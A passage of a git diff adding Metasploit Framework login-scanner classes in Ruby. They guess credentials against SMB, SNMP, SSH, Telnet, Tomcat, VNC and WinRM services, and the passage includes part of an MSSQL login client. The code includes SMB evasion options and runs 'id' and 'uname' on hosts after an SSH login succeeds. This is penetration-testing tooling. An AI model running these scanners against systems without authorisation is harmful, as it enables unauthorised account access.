"STATUS_ACCOUNT_RESTRICTION", + "STATUS_INVALID_LOGON_HOURS", + "STATUS_INVALID_WORKSTATION", + "STATUS_LOGON_TYPE_NOT_GRANTED", + "STATUS_PASSWORD_EXPIRED", + "STATUS_PASSWORD_MUST_CHANGE", + ].freeze.map(&:freeze) + end + + + # @!attribute simple + # @return [Rex::Proto::SMB::SimpleClient] + attr_accessor :simple + + attr_accessor :smb_chunk_size + attr_accessor :smb_name + attr_accessor :smb_native_lm + attr_accessor :smb_native_os + attr_accessor :smb_obscure_trans_pipe_level + attr_accessor :smb_pad_data_level + attr_accessor :smb_pad_file_level + attr_accessor :smb_pipe_evasion + + # UNUSED + #attr_accessor :smb_pipe_read_max_size + #attr_accessor :smb_pipe_read_min_size + #attr_accessor :smb_pipe_write_max_size + #attr_accessor :smb_pipe_write_min_size + attr_accessor :smb_verify_signature + + attr_accessor :smb_direct + + validates :smb_chunk_size, + numericality: + { + only_integer: true, + greater_than_or_equal_to: 0 + } + + validates :smb_obscure_trans_pipe_level, + inclusion: + { + in: Rex::Proto::SMB::Evasions::EVASION_NONE .. Rex::Proto::SMB::Evasions::EVASION_MAX + } + + validates :smb_pad_data_level, + inclusion: + { + in: Rex::Proto::SMB::Evasions::EVASION_NONE .. Rex::Proto::SMB::Evasions::EVASION_MAX + } + + validates :smb_pad_file_level, + inclusion: + { + in: Rex::Proto::SMB::Evasions::EVASION_NONE .. Rex::Proto::SMB::Evasions::EVASION_MAX + } + + validates :smb_pipe_evasion, + inclusion: { in: [true, false, nil] }, + allow_nil: true + + # UNUSED + #validates :smb_pipe_read_max_size, numericality: { only_integer: true } + #validates :smb_pipe_read_min_size, numericality: { only_integer: true, greater_than_or_equal_to: 0 } + #validates :smb_pipe_write_max_size, numericality: { only_integer: true } + #validates :smb_pipe_write_min_size, numericality: { only_integer: true, greater_than_or_equal_to: 0 } + + validates :smb_verify_signature, + inclusion: { in: [true, false, nil] }, + allow_nil: true + + + # If login is successul and {Result#access_level} is not set + # then arbitrary credentials are accepted. If it is set to + # Guest, then arbitrary credentials are accepted, but given + # Guest permissions. + # + # @param domain [String] Domain to authenticate against. Use an + # empty string for local accounts. + # @return [Result] + def attempt_bogus_login(domain) + if defined?(@result_for_bogus) + return @result_for_bogus + end + cred = Credential.new( + public: Rex::Text.rand_text_alpha(8), + private: Rex::Text.rand_text_alpha(8), + realm: domain + ) + @result_for_bogus = attempt_login(cred) + end + + + # (see Base#attempt_login) + def attempt_login(credential) + + # Disable direct SMB when SMBDirect has not been set and the + # destination port is configured as 139 + if self.smb_direct.nil? + self.smb_direct = case self.port + when 139 then false + when 445 then true + end + end + + begin + connect + rescue ::Rex::ConnectionError => e + return Result.new(credential:credential, status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) + end + proof = nil + + begin + # TODO: OMG + simple.login( + smb_name, + credential.public, + credential.private, + credential.realm || "", + smb_verify_signature, + use_ntlmv2, + use_ntlm2_session, + send_lm, + use_lmkey, + send_ntlm, + smb_native_os, + smb_native_lm, + { + use_spn: send_spn, + name: host + } + ) + + # Windows SMB will return an error code during Session + # Setup, but nix Samba requires a Tree Connect. Try admin$ + # first, since that will tell us if this user has local + # admin access. Fall back to IPC$ which should be accessible + # to any user with valid creds. + begin + simple.connect("\\\\#{host}\\admin$") + access_level = AccessLevels::ADMINISTRATOR + simple.disconnect("\\\\#{host}\\admin$") + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode + simple.connect("\\\\#{host}\\IPC$") + end + + # If we made it this far without raising, we have a valid + # login + status = Metasploit::Model::Login::Status::SUCCESSFUL + rescue ::Rex::Proto::SMB::Exceptions::LoginError => e + status = case e.get_error(e.error_code) + when *StatusCodes::CORRECT_CREDENTIAL_STATUS_CODES + Metasploit::Model::Login::Status::DENIED_ACCESS + when 'STATUS_LOGON_FAILURE', 'STATUS_ACCESS_DENIED' + Metasploit::Model::Login::Status::INCORRECT + else + Metasploit::Model::Login::Status::INCORRECT + end + + proof = e + rescue ::Rex::Proto::SMB::Exceptions::Error => e + status = Metasploit::Model::Login::Status::INCORRECT + proof = e + rescue ::Rex::ConnectionError + status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + if status == Metasploit::Model::Login::Status::SUCCESSFUL && simple.client.auth_user.nil? + access_level ||= AccessLevels::GUEST + end + + Result.new(credential: credential, status: status, proof: proof, access_level: access_level) + end + + def connect + disconnect + self.sock = super + + c = Rex::Proto::SMB::SimpleClient.new(sock, smb_direct) + + c.client.evasion_opts['pad_data'] = smb_pad_data_level + c.client.evasion_opts['pad_file'] = smb_pad_file_level + c.client.evasion_opts['obscure_trans_pipe'] = smb_obscure_trans_pipe_level + + self.simple = c + c + end + + def set_sane_defaults + self.connection_timeout = 10 if self.connection_timeout.nil? + self.max_send_size = 0 if self.max_send_size.nil? + self.send_delay = 0 if self.send_delay.nil? + self.send_lm = true if self.send_lm.nil? + self.send_ntlm = true if self.send_ntlm.nil? + self.send_spn = true if self.send_spn.nil? + self.smb_chunk_size = 0 if self.smb_chunk_size.nil? + self.smb_name = "*SMBSERVER" if self.smb_name.nil? + self.smb_native_lm = "Windows 2000 5.0" if self.smb_native_os.nil? + self.smb_native_os = "Windows 2000 2195" if self.smb_native_os.nil? + self.smb_obscure_trans_pipe_level = 0 if self.smb_obscure_trans_pipe_level.nil? + self.smb_pad_data_level = 0 if self.smb_pad_data_level.nil? + self.smb_pad_file_level = 0 if self.smb_pad_file_level.nil? + self.smb_pipe_evasion = false if self.smb_pipe_evasion.nil? + #self.smb_pipe_read_max_size = 1024 if self.smb_pipe_read_max_size.nil? + #self.smb_pipe_read_min_size = 0 if self.smb_pipe_read_min_size.nil? + #self.smb_pipe_write_max_size = 1024 if self.smb_pipe_write_max_size.nil? + #self.smb_pipe_write_min_size = 0 if self.smb_pipe_write_min_size.nil? + self.smb_verify_signature = false if self.smb_verify_signature.nil? + + self.use_lmkey = true if self.use_lmkey.nil? + self.use_ntlm2_session = true if self.use_ntlm2_session.nil? + self.use_ntlmv2 = true if self.use_ntlmv2.nil? + + self.smb_name = self.host if self.smb_name.nil? + + end + + end + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/snmp.rb b/lib/metasploit/framework/login_scanner/snmp.rb new file mode 100644 index 0000000000..1972f29aef --- /dev/null +++ b/lib/metasploit/framework/login_scanner/snmp.rb @@ -0,0 +1,106 @@ +require 'snmp' +require 'metasploit/framework/login_scanner/base' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with SNMP. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class SNMP + include Metasploit::Framework::LoginScanner::Base + + DEFAULT_PORT = 161 + LIKELY_PORTS = [ 161, 162 ] + LIKELY_SERVICE_NAMES = [ 'snmp' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # This method attempts a single login with a single credential against the target + # @param credential [Credential] The credential object to attmpt to login with + # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object + def attempt_login(credential) + result_options = { + credential: credential + } + + [:SNMPv1, :SNMPv2c].each do |version| + snmp_client = ::SNMP::Manager.new( + :Host => host, + :Port => port, + :Community => credential.public, + :Version => version, + :Timeout => connection_timeout, + :Retries => 2, + :Transport => ::SNMP::RexUDPTransport, + :Socket => ::Rex::Socket::Udp.create + ) + + result_options[:proof] = test_read_access(snmp_client) + if result_options[:proof].nil? + result_options[:status] = Metasploit::Model::Login::Status::INCORRECT + else + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + if has_write_access?(snmp_client, result_options[:proof]) + result_options[:access_level] = "read-write" + else + result_options[:access_level] = "read-only" + end + end + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + + private + + # This method takes an snmp client and tests whether + # it has write access to the remote system. It sets the + # the sysDescr oid to the same value we already read. + # @param snmp_client [SNMP::Manager] The SNMP client to use + # @param value [String] the value to set sysDescr back to + # @return [Boolean] Returns true or false for if we have write access + def has_write_access?(snmp_client, value) + var_bind = ::SNMP::VarBind.new("1.3.6.1.2.1.1.1.0", ::SNMP::OctetString.new(value)) + begin + resp = snmp_client.set(var_bind) + if resp.error_status == :noError + return true + end + rescue RuntimeError + return false + end + + end + + # Sets the connection timeout approrpiately for SNMP + # if the user did not set it. + def set_sane_defaults + self.connection_timeout = 2 if self.connection_timeout.nil? + self.port = DEFAULT_PORT if self.port.nil? + end + + # This method takes an snmp client and tests whether + # it has read access to the remote system. It checks + # the sysDescr oid to use as proof + # @param snmp_client [SNMP::Manager] The SNMP client to use + # @return [String, nil] Returns a string if successful, nil if failed + def test_read_access(snmp_client) + proof = nil + begin + resp = snmp_client.get("sysDescr.0") + resp.each_varbind { |var| proof = var.value } + rescue RuntimeError + proof = nil + end + proof + end + + + + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/ssh.rb b/lib/metasploit/framework/login_scanner/ssh.rb new file mode 100644 index 0000000000..d35e03c08b --- /dev/null +++ b/lib/metasploit/framework/login_scanner/ssh.rb @@ -0,0 +1,134 @@ +require 'net/ssh' +require 'metasploit/framework/login_scanner/base' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with the Secure Shell protocol. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + # + class SSH + include Metasploit::Framework::LoginScanner::Base + + # + # CONSTANTS + # + + CAN_GET_SESSION = true + DEFAULT_PORT = 22 + LIKELY_PORTS = [ DEFAULT_PORT ] + LIKELY_SERVICE_NAMES = [ 'ssh' ] + PRIVATE_TYPES = [ :password, :ssh_key ] + REALM_KEY = nil + + VERBOSITIES = [ + :debug, + :info, + :warn, + :error, + :fatal + ] + # @!attribute ssh_socket + # @return [Net::SSH::Connection::Session] The current SSH connection + attr_accessor :ssh_socket + # @!attribute verbosity + # The verbosity level for the SSH client. + # + # @return [Symbol] An element of {VERBOSITIES}. + attr_accessor :verbosity + + validates :verbosity, + presence: true, + inclusion: { in: VERBOSITIES } + + # (see {Base#attempt_login}) + # @note The caller *must* close {#ssh_socket} + def attempt_login(credential) + self.ssh_socket = nil + opt_hash = { + :port => port, + :disable_agent => true, + :config => false, + :verbose => verbosity, + :proxies => proxies + } + case credential.private_type + when :password, nil + opt_hash.update( + :auth_methods => ['password','keyboard-interactive'], + :password => credential.private, + ) + when :ssh_key + opt_hash.update( + :auth_methods => ['publickey'], + :key_data => credential.private, + ) + end + + result_options = { + credential: credential + } + begin + ::Timeout.timeout(connection_timeout) do + self.ssh_socket = Net::SSH.start( + host, + credential.public, + opt_hash + ) + end + rescue ::EOFError, Net::SSH::Disconnect, Rex::AddressInUse, Rex::ConnectionError, ::Timeout::Error + result_options.merge!( proof: nil, status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + rescue Net::SSH::Exception + result_options.merge!( proof: nil, status: Metasploit::Model::Login::Status::INCORRECT) + end + + unless result_options.has_key? :status + if ssh_socket + proof = gather_proof + result_options.merge!( proof: proof, status: Metasploit::Model::Login::Status::SUCCESSFUL) + else + result_options.merge!( proof: nil, status: Metasploit::Model::Login::Status::INCORRECT) + end + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + + private + + # This method attempts to gather proof that we successfuly logged in. + # @return [String] The proof of a connection, May be empty. + def gather_proof + proof = '' + begin + Timeout.timeout(5) do + proof = ssh_socket.exec!("id\n").to_s + if(proof =~ /id=/) + proof << ssh_socket.exec!("uname -a\n").to_s + else + # Cisco IOS + if proof =~ /Unknown command or computer name/ + proof = ssh_socket.exec!("ver\n").to_s + else + proof << ssh_socket.exec!("help\n?\n\n\n").to_s + end + end + end + rescue ::Exception + end + proof + end + + def set_sane_defaults + self.connection_timeout = 30 if self.connection_timeout.nil? + self.port = DEFAULT_PORT if self.port.nil? + self.verbosity = :fatal if self.verbosity.nil? + end + + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/telnet.rb b/lib/metasploit/framework/login_scanner/telnet.rb new file mode 100644 index 0000000000..b36b83496f --- /dev/null +++ b/lib/metasploit/framework/login_scanner/telnet.rb @@ -0,0 +1,113 @@ +require 'metasploit/framework/telnet/client' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with Telnet remote terminals. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class Telnet + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Telnet::Client + + CAN_GET_SESSION = true + DEFAULT_PORT = 23 + LIKELY_PORTS = [ DEFAULT_PORT ] + LIKELY_SERVICE_NAMES = [ 'telnet' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # @!attribute verbosity + # The timeout to wait for the telnet banner. + # + # @return [Fixnum] + attr_accessor :banner_timeout + # @!attribute verbosity + # The timeout to wait for the response from a telnet command. + # + # @return [Fixnum] + attr_accessor :telnet_timeout + + validates :banner_timeout, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 1 + } + + validates :telnet_timeout, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 1 + } + + # (see {Base#attempt_login}) + def attempt_login(credential) + result_options = { + credential: credential + } + + if connect_reset_safe == :refused + result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + else + if busy_message? + self.sock.close unless self.sock.closed? + result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + end + + unless result_options[:status] + unless password_prompt? + send_user(credential.public) + end + + recvd_sample = @recvd.dup + # Allow for slow echos + 1.upto(10) do + recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/] + end + + if password_prompt?(credential.public) + send_pass(credential.private) + + # Allow for slow echos + 1.upto(10) do + recv_telnet(self.sock, 0.10) if @recvd == recvd_sample + end + end + + if login_succeeded? + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + else + result_options[:status] = Metasploit::Model::Login::Status::INCORRECT + end + + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + + private + + # This method sets the sane defaults for things + # like timeouts and TCP evasion options + def set_sane_defaults + self.connection_timeout ||= 30 + self.max_send_size ||= 0 + self.port ||= DEFAULT_PORT + self.send_delay ||= 0 + self.banner_timeout ||= 25 + self.telnet_timeout ||= 10 + self.connection_timeout ||= 30 + # Shim to set up the ivars from the old Login mixin + create_login_ivars + end + + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/tomcat.rb b/lib/metasploit/framework/login_scanner/tomcat.rb new file mode 100644 index 0000000000..c773af7058 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/tomcat.rb @@ -0,0 +1,28 @@ + +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # Tomcat Manager login scanner + class Tomcat < HTTP + + # Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP + CAN_GET_SESSION = true + DEFAULT_PORT = 8180 + PRIVATE_TYPES = [ :password ] + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.uri = "/manager/html" if self.uri.nil? + self.method = "GET" if self.method.nil? + + super + end + + end + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/vnc.rb b/lib/metasploit/framework/login_scanner/vnc.rb new file mode 100644 index 0000000000..038ee9ffc3 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/vnc.rb @@ -0,0 +1,122 @@ +require 'metasploit/framework/tcp/client' +require 'rex/proto/rfb' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + # This is the LoginScanner class for dealing with the VNC RFB protocol. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class VNC + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + + + # + # CONSTANTS + # + + LIKELY_PORTS = (5900..5910).to_a + LIKELY_SERVICE_NAMES = [ 'vnc' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # Error indicating retry should occur for UltraVNC + ULTRA_VNC_RETRY_ERROR = 'connection has been rejected' + # Error indicating retry should occur for VNC 4 Server + VNC4_SERVER_RETRY_ERROR = 'Too many security failures' + # Known retry errors for all supported versions of VNC + RETRY_ERRORS = [ + ULTRA_VNC_RETRY_ERROR, + VNC4_SERVER_RETRY_ERROR + ] + + # This method attempts a single login with a single credential against the target + # @param credential [Credential] The credential object to attmpt to login with + # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object + def attempt_login(credential) + result_options = { + credential: credential + } + + begin + # Make our initial socket to the target + disconnect if self.sock + connect + + # Create our VNC client overtop of the socket + vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false) + + + if vnc.handshake + if vnc_auth(vnc,credential.private) + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + else + result_options.merge!( + proof: vnc.error, + status: Metasploit::Model::Login::Status::INCORRECT + ) + end + else + result_options.merge!( + proof: vnc.error, + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + ) + end + rescue ::EOFError, Errno::ENOTCONN, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error => e + result_options.merge!( + proof: e.message, + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + ) + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + + private + + # Check the VNC error to see if we should wait and retry. + # + # @param error [String] The VNC error message received + # @return [false] don't retry + # @return [true] retry + def retry?(error) + RETRY_ERRORS.include?(error) + end + + # This method sets the sane defaults for things + # like timeouts and TCP evasion options + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= 5900 + self.max_send_size ||= 0 + self.send_delay ||= 0 + end + + # This method attempts the actual VNC authentication. It has built in retries to handle + # delays built into the VNC RFB authentication. + # @param client [Rex::Proto::RFB::Client] The VNC client object to authenticate through + # @param password [String] the password to attempt the authentication with + def vnc_auth(client,password) + success = false + 5.times do |n| + if client.authenticate(password) + success = true + break + end + break unless retry?(client.error) + + # Wait for an increasing ammount of time before retrying + delay = (2**(n+1)) + 1 + ::Rex.sleep(delay) + end + success + end + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/winrm.rb b/lib/metasploit/framework/login_scanner/winrm.rb new file mode 100644 index 0000000000..af079b262e --- /dev/null +++ b/lib/metasploit/framework/login_scanner/winrm.rb @@ -0,0 +1,52 @@ + +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # Windows Remote Management login scanner + class WinRM < HTTP + + # The default port where WinRM listens. This is what you get on + # v1.1+ with `winrm quickconfig`. Note that before v1.1, the + # default was 80 + DEFAULT_PORT = 5985 + + # The default realm is WORKSTATION which tells Windows authentication + # that it is a Local Account. + DEFAULT_REALM = 'WORKSTATION' + + # The default port where WinRM listens when SSL is enabled. Note + # that before v1.1, the default was 443 + DEFAULT_SSL_PORT = 5986 + + PRIVATE_TYPES = [ :password ] + LIKELY_PORTS = [ 80, 443, 5985, 5986 ] + REALM_KEY = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + # Inherit LIKELY_SERVICE_NAMES, since a scanner will see it as + # just HTTP. + + validates :method, inclusion: { in: ["POST"] } + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.uri = "/wsman" if self.uri.nil? + @method = "POST".freeze + + super + end + + # The method *must* be "POST", so don't let the user change it + # @raise [RuntimeError] Unconditionally + def method=(_) + raise RuntimeError, "Method must be POST for WinRM" + end + + end + end + end +end + diff --git a/lib/metasploit/framework/mssql/client.rb b/lib/metasploit/framework/mssql/client.rb new file mode 100644 index 0000000000..2e1f21fac1 --- /dev/null +++ b/lib/metasploit/framework/mssql/client.rb @@ -0,0 +1,728 @@ +require 'metasploit/framework/tcp/client' + +module Metasploit + module Framework + module MSSQL + + module Client + include Metasploit::Framework::Tcp::Client + + NTLM_CRYPT = Rex::Proto::NTLM::Crypt + NTLM_CONST = Rex::Proto::NTLM::Constants + NTLM_UTILS = Rex::Proto::NTLM::Utils + NTLM_XCEPT = Rex::Proto::NTLM::Exceptions + + # Encryption + ENCRYPT_OFF = 0x00 #Encryption is available but off. + ENCRYPT_ON = 0x01 #Encryption is available and on. + ENCRYPT_NOT_SUP = 0x02 #Encryption is not available. + ENCRYPT_REQ = 0x03 #Encryption is required. + + # Packet Type + TYPE_SQL_BATCH = 1 # (Client) SQL command + TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused) + TYPE_RPC = 3 # (Client) RPC + TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters, + # Request Completion, Error and Info Messages, Attention Acknowledgement + TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention + TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data + TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager + TYPE_TDS7_LOGIN = 16 # (Client) Login + TYPE_SSPI_MESSAGE = 17 # (Client) Login + TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7 + + # Status + STATUS_NORMAL = 0x00 + STATUS_END_OF_MESSAGE = 0x01 + STATUS_IGNORE_EVENT = 0x02 + STATUS_RESETCONNECTION = 0x08 # TDS 7.1+ + STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+ + + # + # This method connects to the server over TCP and attempts + # to authenticate with the supplied username and password + # The global socket is used and left connected after auth + # + def mssql_login(user='sa', pass='', db='', domain_name='') + + disconnect if self.sock + connect + + # Send a prelogin packet and check that encryption is not enabled + if mssql_prelogin() != ENCRYPT_NOT_SUP + print_error("Encryption is not supported") + return false + end + + if windows_authentication + idx = 0 + pkt = '' + pkt_hdr = '' + pkt_hdr = [ + TYPE_TDS7_LOGIN, #type + STATUS_END_OF_MESSAGE, #status + 0x0000, #length + 0x0000, # SPID + 0x01, # PacketID (unused upon specification + # but ms network monitor stil prefer 1 to decode correctly, wireshark don't care) + 0x00 #Window + ] + + pkt << [ + 0x00000000, # Size + 0x71000001, # TDS Version + 0x00000000, # Dummy Size + 0x00000007, # Version + rand(1024+1), # PID + 0x00000000, # ConnectionID + 0xe0, # Option Flags 1 + 0x83, # Option Flags 2 + 0x00, # SQL Type Flags + 0x00, # Reserved Flags + 0x00000000, # Time Zone + 0x00000000 # Collation + ].pack('VVVVVVCCCCVV') + + cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) + aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name + sname = Rex::Text.to_unicode( rhost ) + dname = Rex::Text.to_unicode( db ) + + ntlm_options = { + :signing => false, + :usentlm2_session => use_ntlm2_session, + :use_ntlmv2 => use_ntlmv2, + :send_lm => send_lm, + :send_ntlm => send_ntlm + } + + ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options) + workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) + + ntlmsspblob = NTLM_UTILS::make_ntlmssp_blob_init(domain_name, workstation_name, ntlmssp_flags) + + idx = pkt.size + 50 # lengths below + + pkt << [idx, cname.length / 2].pack('vv') + idx += cname.length + + pkt << [0, 0].pack('vv') # User length offset must be 0 + pkt << [0, 0].pack('vv') # Password length offset must be 0 + + pkt << [idx, aname.length / 2].pack('vv') + idx += aname.length + + pkt << [idx, sname.length / 2].pack('vv') + idx += sname.length + + pkt << [0, 0].pack('vv') # unused + + pkt << [idx, aname.length / 2].pack('vv') + idx += aname.length + + pkt << [idx, 0].pack('vv') # locales + + pkt << [idx, 0].pack('vv') #db + + # ClientID (should be mac address) + pkt << Rex::Text.rand_text(6) + + # NTLMSSP + pkt << [idx, ntlmsspblob.length].pack('vv') + idx += ntlmsspblob.length + + pkt << [idx, 0].pack('vv') # AtchDBFile + + pkt << cname + pkt << aname + pkt << sname + pkt << aname + pkt << ntlmsspblob + + # Total packet length + pkt[0,4] = [pkt.length].pack('V') + + pkt_hdr[2] = pkt.length + 8 + + pkt = pkt_hdr.pack("CCnnCC") + pkt + + # Rem : One have to set check_status to false here because sql server sp0 (and maybe above) + # has a strange behavior that differs from the specifications + # upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header + # is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification + resp = mssql_send_recv(pkt,15, false) + + # Get default data + begin + blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(resp) + # a domain.length < 3 will hit this + rescue NTLM_XCEPT::NTLMMissingChallenge + return false + end + + challenge_key = blob_data[:challenge_key] + server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error + #netbios name + default_name = blob_data[:default_name] || '' + #netbios domain + default_domain = blob_data[:default_domain] || '' + #dns name + dns_host_name = blob_data[:dns_host_name] || '' + #dns domain + dns_domain_name = blob_data[:dns_domain_name] || '' + #Client time + chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' + + spnopt = {:use_spn => send_spn, :name => self.rhost} + + resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, challenge_key, + domain_name, default_name, default_domain, + dns_host_name, dns_domain_name, chall_MsvAvTimestamp, + spnopt, ntlm_options) + + ntlmssp = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, user, resp_lm, resp_ntlm, '', ntlmssp_flags) + + # Create an SSPIMessage + idx = 0 + pkt = '' + pkt_hdr = '' + pkt_hdr = [ + TYPE_SSPI_MESSAGE, #type + STATUS_END_OF_MESSAGE, #status + 0x0000, #length + 0x0000, # SPID + 0x01, # PacketID + 0x00 #Window + ] + + pkt_hdr[2] = ntlmssp.length + 8 + + pkt = pkt_hdr.pack("CCnnCC") + ntlmssp + + resp = mssql_send_recv(pkt) + + + #SQL Server Authentification + else + idx = 0 + pkt = '' + pkt << [ + 0x00000000, # Dummy size + + 0x71000001, # TDS Version + 0x00000000, # Size + 0x00000007, # Version + rand(1024+1), # PID + 0x00000000, # ConnectionID + 0xe0, # Option Flags 1 + 0x03, # Option Flags 2 + 0x00, # SQL Type Flags + 0x00, # Reserved Flags + 0x00000000, # Time Zone + 0x00000000 # Collation + ].pack('VVVVVVCCCCVV') + + + cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) + uname = Rex::Text.to_unicode( user ) + pname = mssql_tds_encrypt( pass ) + aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) + sname = Rex::Text.to_unicode( rhost ) + dname = Rex::Text.to_unicode( db ) + + idx = pkt.size + 50 # lengths below + + pkt << [idx, cname.length / 2].pack('vv') + idx += cname.length + + pkt << [idx, uname.length / 2].pack('vv') + idx += uname.length + + pkt << [idx, pname.length / 2].pack('vv') + idx += pname.length + + pkt << [idx, aname.length / 2].pack('vv') + idx += aname.length + + pkt << [idx, sname.length / 2].pack('vv') + idx += sname.length + + pkt << [0, 0].pack('vv') + + pkt << [idx, aname.length / 2].pack('vv') + idx += aname.length + + pkt << [idx, 0].pack('vv') + + pkt << [idx, dname.length / 2].pack('vv') + idx += dname.length + + # The total length has to be embedded twice more here + pkt << [ + 0, + 0, + 0x12345678, + 0x12345678 + ].pack('vVVV') + + pkt << cname + pkt << uname + pkt << pname + pkt << aname + pkt << sname + pkt << aname + pkt << dname + + # Total packet length + pkt[0,4] = [pkt.length].pack('V') + + # Embedded packet lengths + pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2 + + # Packet header and total length including header + pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt + + resp = mssql_send_recv(pkt) + + end + + info = {:errors => []} + info = mssql_parse_reply(resp,info) + + return false if not info + info[:login_ack] ? true : false + end + + # + # Parse an "environment change" TDS token + # + def mssql_parse_env(data, info) + len = data.slice!(0,2).unpack('v')[0] + buff = data.slice!(0,len) + type = buff.slice!(0,1).unpack('C')[0] + + nval = '' + nlen = buff.slice!(0,1).unpack('C')[0] || 0 + nval = buff.slice!(0,nlen*2).gsub("\x00", '') if nlen > 0 + + oval = '' + olen = buff.slice!(0,1).unpack('C')[0] || 0 + oval = buff.slice!(0,olen*2).gsub("\x00", '') if olen > 0 + + info[:envs] ||= [] + info[:envs] << { :type => type, :old => oval, :new => nval } + info + end + + # + # Parse a "ret" TDS token + # + def mssql_parse_ret(data, info) + ret = data.slice!(0,4).unpack('N')[0] + info[:ret] = ret + info + end + + # + # Parse a "done" TDS token + # + def mssql_parse_done(data, info) + status,cmd,rows = data.slice!(0,8).unpack('vvV') + info[:done] = { :status => status, :cmd => cmd, :rows => rows } + info + end + + # + # Parse an "error" TDS token + # + def mssql_parse_error(data, info) + len = data.slice!(0,2).unpack('v')[0] + buff = data.slice!(0,len) + + errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv') + emsg = buff.slice!(0,elen * 2) + emsg.gsub!("\x00", '') + + info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}" + info + end + + # + # Parse an "information" TDS token + # + def mssql_parse_info(data, info) + len = data.slice!(0,2).unpack('v')[0] + buff = data.slice!(0,len) + + errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv') + emsg = buff.slice!(0,elen * 2) + emsg.gsub!("\x00", '') + + info[:infos]||= [] + info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}" + info + end + + # + # Parse a "login ack" 